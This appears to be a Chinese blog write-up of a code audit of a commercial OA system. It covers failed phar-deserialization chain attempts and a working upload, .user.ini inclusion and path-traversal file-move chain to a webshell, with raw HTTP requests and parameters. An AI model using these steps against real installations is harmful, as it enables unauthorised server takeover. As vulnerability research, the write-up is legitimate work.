本文首发于先知论坛:https://xz.aliyun.com/t/15362
前言
因为一次偶然的机遇,拿到了某达OA的源码,用SeayDzend
对源码进行了解密(如果不想手动解密的同学可以去下载这款工具进行解密)由于是某位同事直接发的压缩包我这里就不放链接了。这里审计的版本是v11.1x
phar反序列化
触发点
依旧是全局搜索phar
反序列化的关键字,这里我有个审计思路分享,当环境搭建起来以后,我会结合网站和源码一起找到路由和文件对应的关系 如果环境没有搭建起来,先看看源码架构,看一下包含什么目录;从 index.php
开始跟踪分析包含的文件,看看有什么文件会处理路由,且观察到怎么处理,关于PHP代码审计,第一直觉是看看有没有可以直接利用的RCE
,或者是任意文件写入
等漏洞,如果忘记危险函数了可以去网上搜一下PHP命令执行漏洞相关的危险函数,这里不做过多描述
file_nums.php
根据vscode
全局搜索定位到这个php文件路由:/general/netdisk/file_nums.php?DIR=phar://
<?php require_once "inc/auth.inc.php";include_once "inc/utility_file.php";include_once "inc/utility_all.php";ob_end_clean();$DIR = iconv2os($DIR);$msg = sprintf(_("共%d个文件"), dir_file_nums("$DIR"));echo $msg;?>
任意文件删除
POP链构造
SharedXMLWriter.php
(失败)
失败原因
原因 :该XMLWriter.php
中没有命名空间,反序列化调用不了该类
public function __destruct()
{
if ($this->tempFileName != "") {
@unlink($this->tempFileName);
}
}
总结1
寻找反序列化链的时候,需要先确定该类是否有命名空间
审计过程
链一
__destruct -> close() -> flush() -> handleBatch() ->handle()
-->destruct
(没有找到close)
-->close()
namespace Monolog;
class HandlerBufferHandler extends HandlerAbstractHandler
public function close()
{
$this->flush();
}
--> flush()
public function flush()
{
if ($this->bufferSize === 0) {
return NULL;
}
$this->handler->handleBatch($this->buffer);
$this->clear();
}
-->handleBatch()
HandlerAbstractHandler类
public function handleBatch($records)
{
foreach ($records as $record ) {
$this->handle($record);
}
}
->handle()
incvendorMondogHandlerFingersCrossedHandler.php
HandlerFingersCrossedHandler
public function handle($record)
{
if ($this->processors) {
foreach ($this->processors as $processor ) {
$record = Handlercall_user_func($processor, $record);
}
}
链子二
--destruct -> close ->flush ->handleBatch -> processRecord -->
destruct(没有找到 close)
__close
namespace Monolog;
class HandlerBufferHandler extends HandlerAbstractHandler
public function close()
{
$this->flush();
}
__flush
public function flush()
{
if ($this->bufferSize === 0) {
return NULL;
}
$this->handler->handleBatch($this->buffer);
$this->clear();
}
handleBatch
namespace Monolog;
HandlerChromePHPHandler extends HandlerAbstractProcessingHandler
public function handleBatch($records)
{
$messages = array();
foreach ($records as $record ) {
if ($record["level"] < $this->level) {
continue;
}
$messages[] = $this->processRecord($record);
}
if (!empty($messages)) {
$messages = $this->getFormatter()->formatBatch($messages);
self::$json["rows"] = Handlerarray_merge(self::$json["rows"], $messages);
$this->send();
}
}
processRecord
namespace Monolog;
HandlerAbstractProcessingHandler
protected function processRecord($record)
{
if ($this->processors) {
foreach ($this->processors as $processor ) {
$record = Handlercall_user_func($processor, $record);
}
}
return $record;
}
失败原因
-
第一步找 __destruct
到__close()
的位置出错 -
看走眼,以为close的对象可以控, this->close();
看成 this->$object->close(); -
也是不够清楚,$this->handle是不可控的,我当时把它误认为对象可控,导致继续找一个实现handle方法的类,浪费了时间。 -
尝试过_call方法,但是没有成功 -
往下找链的时候,记录的链过程没有条理,容易出现混乱 -
找链过程中,查找过程,经常性归零 从 __destruct
重新开始 (找链过程记录不清晰)
总结2
-
找链中,第一时间排除没带命名空间的类作为节点
-
找链应该从
__destruct
开始 往下延伸,每一步都做好记录。记录当前第几部,什么类满足条件,从该类扩展。画一条树状图,比如:__destruct
class test1
{
public function __destruct()
{
$this->handler->method1();
}
}
->method1()
class test2
{
public function method1()
{
echo "hello";
}
}
---------------------------
class test3
{
public function method1()
{
exit(0);
}
}
test1 -> test2
test1 -> test3
文件上传+文件移动+文件包含-->GETSHELL
文件上传分析
http://192.168.0.30/general/index.php?isIE=0&modify_pwd=0
在文件柜中会有批量上传的功能点,能够上传非PHP
的任意文件
POST /module/upload/upload.php HTTP/1.1
Host: 192.168.20.155
Content-Length: 893
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBjizN8lhmbodA9BJ
Accept: */*
Origin: http://192.168.20.155
Referer: http://192.168.20.155/general/file_folder/folder.php?FILE_SORT=2&SORT_ID=0
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d6vfb3q7c6tge1n3lqfq93ng9t; USER_NAME_COOKIE=lijia; OA_USER_ID=2; SID_2=37ba94af; KEY_RANDOMDATA=15553
Connection: close
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="module"
file_folder
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="id"
WU_FILE_0
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="name"
test.ini
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="type"
application/octet-stream
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="lastModifiedDate"
Thu Aug 01 2024 23:20:39 GMT+0800 (中国标准时间)
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="size"
27
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="Filedata"; filename="test.ini"
Content-Type: application/octet-stream
auto_prepend_file=hello.txt
------WebKitFormBoundaryBjizN8lhmbodA9BJ--
分析数据包:
module: 目录
name: 文件名 -- 内容上传文件名
filename: 文件名
前台抓包可以知道
moudleuploadupload.php
处理的上传逻辑
upload.php
路径:moudleuploadupload.php
$ATTACH_NAME = $FILE_NAME;
$SEND_TIME = time();
$ATTACHMENTS = upload($new_name, $module, false);
省略些代码,跟踪upload($new_name, $module, false)
utility_file.php
路径:incutility_file.php
upload()
function upload($PREFIX, $MODULE, $OUTPUT)
{
/********上传的MODULE目录********/
if (strstr($MODULE, "/") || strstr($MODULE, "\")) {
if (!$OUTPUT) {
return _("参数含有非法字符。");
}
Message(_("错误"), _("参数含有非法字符。"));
exit();
}
/*******检测文件后缀*************/
if (!is_uploadable($ATTACH_NAME)) {
$ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1));
}
/*******
}
td_path_valid()
总结下:若目标路径是webroot
,则必须也包含attachment
if ($func_name == "td_fopen") {
$whitelist = "qqwry.dat,tech.dat,tech_cloud.dat,tech_neucloud.dat,";
if (((strpos($source, "webrootinc") !== false) || (strpos($source, "webroot/inc") !== false)) && find_id($whitelist, $basename)) {
return true;
}
}
if ((strpos($source, "webroot") !== false) && (strpos($source, "attachment") === false)) {
return false;
}
else {
return true;
}
is_uploadable
总结下:上传的文件,不允许后缀名前三位是php
$EXT_NAME = strtolower(substr($FILE_NAME, $POS + 1));
$EXT_NAME = filename_valid($EXT_NAME);
if ((td_trim($EXT_NAME) == "") || (td_trim(strtolower(substr($EXT_NAME, 0, 3))) == "php")) {
return false;
}
由于我们并不能上传.php
文件,有任意文件上传的漏洞,咱们尝试能不能上传.user.ini
或.htaccess
对目标文件进行包含或者解析。
这里某达OA是nginx服务器,只能通过.user.ini
来对 其它文件进行包含。
思路如下:上传hello.txt
文件,上传.user.ini
文件,给.user.ini
文件下移个没有的 php文件。
文件移动函数的分析
源码
general/picture/rename_action_submit.php
路由:
/general/picture/rename_action_submit.php
<?php
require_once "inc/auth.inc.php";
include_once "inc/header.inc.php";
include_once "inc/utility_all.php";
include_once "inc/utility_file.php";
if (substr($PIC_PATH, -1, 1) == "/") {
$CUR_DIR = $PIC_PATH . $SUB_DIR;
}
else {
$CUR_DIR = $PIC_PATH . "/" . $SUB_DIR;
}
if (stristr($FILE_NAME, "/") || stristr($FILE_NAME, "\") || stristr($FILE_NAME, "?") || stristr($FILE_NAME, "*") || stristr($FILE_NAME, """) || stristr($FILE_NAME, "<") || stristr($FILE_NAME, ":") || stristr($FILE_NAME, ">") || stristr($FILE_NAME, "|")) {
Message(_("错误"), _("参数含有非法字符。"));
Button_Back();
exit();
}
$CACHE_DIR_NAME_OLD = $CUR_DIR . "/tdoa_cache/" . $PIC_NAME;
$CACHE_DIR_NAME_MEDIUM_OLD = $CUR_DIR . "/tdoa_cache/medium_" . $PIC_NAME;
$PIC_PATH_OLD = $CUR_DIR . "/" . $PIC_NAME;
$FILE_TYPE = substr($PIC_NAME, strrpos($PIC_NAME, "."));
$PIC_PATH = $CUR_DIR . "/" . $NEW_NAME . $FILE_TYPE;
$CACHE_PIC_PATH = $CUR_DIR . "/tdoa_cache/" . $NEW_NAME . $FILE_TYPE;
$CACHE_PIC_PATH_MEDIUM = $CUR_DIR . "/tdoa_cache/medium_" . $NEW_NAME . $FILE_TYPE;
if (file_exists(iconv2os($PIC_PATH_OLD))) {
td_rename(iconv2os($PIC_PATH_OLD), iconv2os($PIC_PATH));
td_rename(iconv2os($CACHE_DIR_NAME_OLD), iconv2os($CACHE_PIC_PATH));
td_rename(iconv2os($CACHE_DIR_NAME_MEDIUM_OLD), iconv2os($CACHE_PIC_PATH_MEDIUM));
}
echo "<script>rnopener.location.reload();rnwindow.close();rn</script>";
?>
文件重命名操作
以第一条语句为例
td_rename(iconv2os($PIC_PATH_OLD), iconv2os($PIC_PATH));
若要实现文件移动: td_rename(Old_NAME, New_Name);
td_rename(iconv2os($PIC_PATH_OLD), iconv2os($PIC_PATH));
我们需要控制 $PIC_PATH_OLD,$PIC_PATH
分别为旧新文件名
文件路径控制
$CUR_DIR = $PIC_PATH . "/" . $SUB_DIR;
$PIC_PATH_OLD
$PIC_PATH_OLD = $CUR_DIR . "/" . $PIC_NAME;
$PIC_PATH
$PIC_PATH = $CUR_DIR . "/" . $NEW_NAME . $FILE_TYPE;
若实现:
旧文件
:
tonda/attach/file_folder/2408/17203783.hello.txt
新文件
:
/tonda /webroot/general/system/attachment/test/hello.txt
$PIC_PATH= ”/tonda";`
$PIC_NAME="/attach/file_folder/2408/17203783.hello.txt"; //旧文件后部分
$NEW_NAME=" /webroot/general/system/attachment/test/hello";//新文件后部分
补充
通过td_rename
移动文件/目录到webroot
目录下条件:目标路径必须包含attachment
td_rename
->is_uploadable
->td_path_valid
td_rename()
is_uploadable()
td_path_valid()
移动的文件后缀不能 包含2a.php
,所以我们得移动文件目录。
复现过程
上传.user.ini
和hello.txt
文件,造成文件上传 + 文件包含的漏洞
实现路径
1.上传 1.ini
auto_prepend_file=hello.txt
2.上传 hello.txt
<?php echo "hello"?>
3.将文件移动到可访问的目录
-
1.ini -> /webroot/general/system/attachment/test/.user.ini
-
hello.txt -> /webroot/general/system/attachment/test/.hello.txt
-
2a.php -> /webroot/general/system/attachment/test/2a.php
因为触发 .user.ini
文件包含漏洞,需要存在一个php
文件。在系统中找到一个满足条件的php
,且不能影响业务逻辑。
webrootattachment
,不能直接路由访问,不做业务处理,不影响业务逻辑。在webroot/attachment
里面找到了php
存储在计算机中的文件名解密脚本
$ATTACHMENT_ID = '1231484566';
$ATTACHMENT_NAME = 'hello.txt';
echo $ATTACHMENT_ID ^ crc32($ATTACHMENT_NAME);
Content-Type:application/x-www-form-urlencoded
2a.php
移动整个目录
C:tondawebrootattachmentoffice_auto
/webroot/general/system/attachment/test/
NEW_NAME=../../general/system/attachment/test&PIC_PATH=/tonda/webroot/attachment/office_auto/
将hello.txt
移动到
/webroot/general/system/attachment/test/
PIC_PATH=/tonda&PIC_NAME=/attach/file_folder/2408/17203783.hello.txt&NEW_NAME=/webroot/general/system/attachment/test/hello
将 1.ini
移动到 user.ini
/webroot/general/system/attachment/test/
PIC_PATH=/tonda&PIC_NAME=/attach/file_folder/2408/17203783.1.ini&NEW_NAME=/webroot/general/system/attachment/test/.user
POC1
POC2
POC3
至此,漏洞复现成功
原文始发于微信公众号(红细胞安全实验室):记一次有趣的某达OA审计过程
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论